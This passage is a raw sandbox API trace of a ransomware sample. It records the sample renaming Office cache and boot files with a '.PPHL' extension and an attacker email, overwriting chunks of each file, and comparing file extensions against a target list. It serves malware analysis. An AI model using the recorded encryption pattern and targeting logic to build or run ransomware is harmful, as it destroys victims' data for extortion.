lpFileSize=0x376ff1c | out: lpFileSize=0x376ff1c*=90192) returned 1 [0060.219] CloseHandle (hObject=0x194) returned 1 [0060.219] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0060.220] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0060.220] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.220] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0060.220] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0060.220] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0060.220] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0060.220] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0060.220] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0060.222] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0 [0060.222] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0060.222] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0060.222] lstrlenW (lpString=".doc") returned 4 [0060.572] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0 [0060.573] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0060.573] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0060.573] lstrlenW (lpString=".doc") returned 4 [0060.573] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 1 [0060.574] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0060.574] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fc6c | out: lpNewFilePointer=0x0) returned 1 [0060.574] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fc2c | out: lpNewFilePointer=0x0) returned 1 [0060.574] ReadFile (in: hFile=0x1b0, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x376fc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x376fc38*=0x40000, lpOverlapped=0x0) returned 1 [0060.684] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x376fc2c | out: lpNewFilePointer=0x0) returned 1 [0060.684] ReadFile (in: hFile=0x1b0, lpBuffer=0x3e30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x376fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e30058*, lpNumberOfBytesRead=0x376fc38*=0x40000, lpOverlapped=0x0) returned 1 [0060.888] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x376fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0060.889] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x376fc2c | out: lpNewFilePointer=0x0) returned 1 [0060.889] ReadFile (in: hFile=0x1b0, lpBuffer=0x3e70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x376fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e70058*, lpNumberOfBytesRead=0x376fc38*=0x40000, lpOverlapped=0x0) returned 1 [0060.944] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.944] WriteFile (in: hFile=0x1b0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xc010e, lpNumberOfBytesWritten=0x376fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x376fcb0*=0xc010e, lpOverlapped=0x0) returned 1 [0061.273] SetEndOfFile (hFile=0x1b0) returned 1 [0061.273] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3f93fc0 [0061.278] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fc7c | out: lpNewFilePointer=0x0) returned 1 [0061.278] WriteFile (in: hFile=0x1b0, lpBuffer=0x3f93fc0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x376fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f93fc0*, lpNumberOfBytesWritten=0x376fc88*=0x40000, lpOverlapped=0x0) returned 1 [0061.279] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x376fc7c | out: lpNewFilePointer=0x0) returned 1 [0061.279] WriteFile (in: hFile=0x1b0, lpBuffer=0x3f93fc0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x376fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f93fc0*, lpNumberOfBytesWritten=0x376fc88*=0x40000, lpOverlapped=0x0) returned 1 [0061.285] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x376fc7c | out: lpNewFilePointer=0x0) returned 1 [0061.285] WriteFile (in: hFile=0x1b0, lpBuffer=0x3f93fc0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x376fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f93fc0*, lpNumberOfBytesWritten=0x376fc88*=0x40000, lpOverlapped=0x0) returned 1 [0061.289] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f93fc0 | out: hHeap=0x5d0000) returned 1 [0061.289] CloseHandle (hObject=0x1b0) returned 1 [0062.554] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0062.554] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0062.554] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0062.554] lstrlenW (lpString=".doc") returned 4 [0062.554] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0062.554] lstrlenW (lpString=".docx") returned 5 [0062.554] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0062.554] lstrlenW (lpString=".pdf") returned 4 [0062.554] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0062.554] lstrlenW (lpString=".xls") returned 4 [0062.554] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0062.555] lstrlenW (lpString=".xlsx") returned 5 [0062.555] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0062.555] lstrlenW (lpString=".ppt") returned 4 [0062.555] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0062.555] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0062.555] lstrlenW (lpString=".zip") returned 4 [0062.555] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0062.555] lstrlenW (lpString=".rar") returned 4 [0062.555] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0062.555] lstrlenW (lpString=".bz2") returned 4 [0062.555] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0062.555] lstrlenW (lpString=".7z") returned 3 [0062.555] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0062.555] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0062.555] lstrlenW (lpString=".dbf") returned 4 [0062.555] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0062.555] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0062.555] lstrlenW (lpString=".1cd") returned 4 [0062.555] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0062.555] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0062.555] lstrlenW (lpString=".jpg") returned 4 [0062.555] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0062.555] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0062.555] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0062.555] lstrlenW (lpString=".doc") returned 4 [0062.555] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0062.555] lstrlenW (lpString=".docx") returned 5 [0062.556] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0062.556] lstrlenW (lpString=".pdf") returned 4 [0062.556] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0062.556] lstrlenW (lpString=".xls") returned 4 [0062.556] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0062.556] lstrlenW (lpString=".xlsx") returned 5 [0062.556] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0062.556] lstrlenW (lpString=".ppt") returned 4 [0062.556] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0062.556] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0062.556] lstrlenW (lpString=".zip") returned 4 [0062.556] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0062.556] lstrlenW (lpString=".rar") returned 4 [0062.556] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0062.556] lstrlenW (lpString=".bz2") returned 4 [0062.556] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0062.556] lstrlenW (lpString=".7z") returned 3 [0062.556] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0062.556] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0062.556] lstrlenW (lpString=".dbf") returned 4 [0062.556] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0062.556] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0062.556] lstrlenW (lpString=".1cd") returned 4 [0062.556] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0062.556] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0062.556] lstrlenW (lpString=".jpg") returned 4 [0062.556] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0062.557] lstrcmpiW (lpString1=".cab", lpString2=".PPHL") returned -1 [0062.557] lstrlenW (lpString="PubLR.cab") returned 9 [0062.557] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0062.557] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x376ff1c | out: lpFileSize=0x376ff1c*=9958388) returned 1 [0062.557] CloseHandle (hObject=0x1b0) returned 1 [0062.557] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab")) returned 0x2020 [0062.557] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0062.557] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 1 [0062.558] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0062.558] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fc6c | out: lpNewFilePointer=0x0) returned 1 [0062.558] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fc2c | out: lpNewFilePointer=0x0) returned 1 [0062.558] ReadFile (in: hFile=0x1b0, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x376fc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x376fc38*=0x40000, lpOverlapped=0x0) returned 1 [0062.563] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x376fc2c | out: lpNewFilePointer=0x0) returned 1 [0062.563] ReadFile (in: hFile=0x1b0, lpBuffer=0x3e30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x376fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e30058*, lpNumberOfBytesRead=0x376fc38*=0x40000, lpOverlapped=0x0) returned 1 [0062.577] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x376fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0062.577] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x376fc2c | out: lpNewFilePointer=0x0) returned 1 [0062.577] ReadFile (in: hFile=0x1b0, lpBuffer=0x3e70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x376fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e70058*, lpNumberOfBytesRead=0x376fc38*=0x40000, lpOverlapped=0x0) returned 1 [0062.834] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.834] WriteFile (in: hFile=0x1b0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x376fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x376fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0062.924] SetEndOfFile (hFile=0x1b0) returned 1 [0062.924] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3f41f88 [0062.924] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fc7c | out: lpNewFilePointer=0x0) returned 1 [0062.924] WriteFile (in: hFile=0x1b0, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x376fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x376fc88*=0x40000, lpOverlapped=0x0) returned 1 [0062.926] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x376fc7c | out: lpNewFilePointer=0x0) returned 1 [0062.926] WriteFile (in: hFile=0x1b0, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x376fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x376fc88*=0x40000, lpOverlapped=0x0) returned 1 [0062.930] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x376fc7c | out: lpNewFilePointer=0x0) returned 1 [0062.930] WriteFile (in: hFile=0x1b0, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x376fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x376fc88*=0x40000, lpOverlapped=0x0) returned 1 [0062.935] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f41f88 | out: hHeap=0x5d0000) returned 1 [0062.935] CloseHandle (hObject=0x1b0) returned 1 [0064.954] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0064.954] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0064.955] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0064.955] lstrlenW (lpString=".doc") returned 4 [0064.955] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0064.955] lstrlenW (lpString=".docx") returned 5 [0064.955] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0064.955] lstrlenW (lpString=".pdf") returned 4 [0064.955] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0064.955] lstrlenW (lpString=".xls") returned 4 [0064.955] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0064.955] lstrlenW (lpString=".xlsx") returned 5 [0064.955] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0064.955] lstrlenW (lpString=".ppt") returned 4 [0064.955] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0064.955] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0064.955] lstrlenW (lpString=".zip") returned 4 [0064.955] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0064.955] lstrlenW (lpString=".rar") returned 4 [0064.955] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0064.955] lstrlenW (lpString=".bz2") returned 4 [0064.956] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0064.956] lstrlenW (lpString=".7z") returned 3 [0064.956] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0064.956] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0064.956] lstrlenW (lpString=".dbf") returned 4 [0064.956] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0064.956] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0064.956] lstrlenW (lpString=".1cd") returned 4 [0064.956] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0064.956] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0064.956] lstrlenW (lpString=".jpg") returned 4 [0064.956] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0064.956] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0064.956] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0064.956] lstrlenW (lpString=".doc") returned 4 [0064.956] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0064.956] lstrlenW (lpString=".docx") returned 5 [0064.956] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0064.956] lstrlenW (lpString=".pdf") returned 4 [0064.956] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0064.956] lstrlenW (lpString=".xls") returned 4 [0064.956] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0064.956] lstrlenW (lpString=".xlsx") returned 5 [0064.956] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0064.956] lstrlenW (lpString=".ppt") returned 4 [0064.956] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0064.956] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0064.956] lstrlenW (lpString=".zip") returned 4 [0064.956] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0064.956] lstrlenW (lpString=".rar") returned 4 [0064.956] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0064.956] lstrlenW (lpString=".bz2") returned 4 [0064.957] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0064.957] lstrlenW (lpString=".7z") returned 3 [0064.957] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0064.957] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0064.957] lstrlenW (lpString=".dbf") returned 4 [0064.957] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0064.957] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0064.957] lstrlenW (lpString=".1cd") returned 4 [0064.957] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0064.957] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0064.957] lstrlenW (lpString=".jpg") returned 4 [0064.957] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0064.957] lstrcmpiW (lpString1=".msi", lpString2=".PPHL") returned -1 [0064.957] lstrlenW (lpString="WordMUI.msi") returned 11 [0064.957] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0064.958] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x376ff1c | out: lpFileSize=0x376ff1c*=2522624) returned 1 [0064.958] CloseHandle (hObject=0x1b0) returned 1 [0064.958] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi")) returned 0x2020 [0064.958] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0064.958] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 1 [0064.958] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0064.959] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fc6c | out: lpNewFilePointer=0x0) returned 1 [0064.959] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fc2c | out: lpNewFilePointer=0x0) returned 1 [0064.959] ReadFile (in: hFile=0x1b0, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x376fc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x376fc38*=0x40000, lpOverlapped=0x0) returned 1 [0066.428] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x376fc2c | out: lpNewFilePointer=0x0) returned 1 [0066.429] ReadFile (in: hFile=0x1b0, lpBuffer=0x3e30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x376fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e30058*, lpNumberOfBytesRead=0x376fc38*=0x40000, lpOverlapped=0x0) returned 1 [0066.454] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x376fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0066.454] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x376fc2c | out: lpNewFilePointer=0x0) returned 1 [0066.454] ReadFile (in: hFile=0x1b0, lpBuffer=0x3e70058, 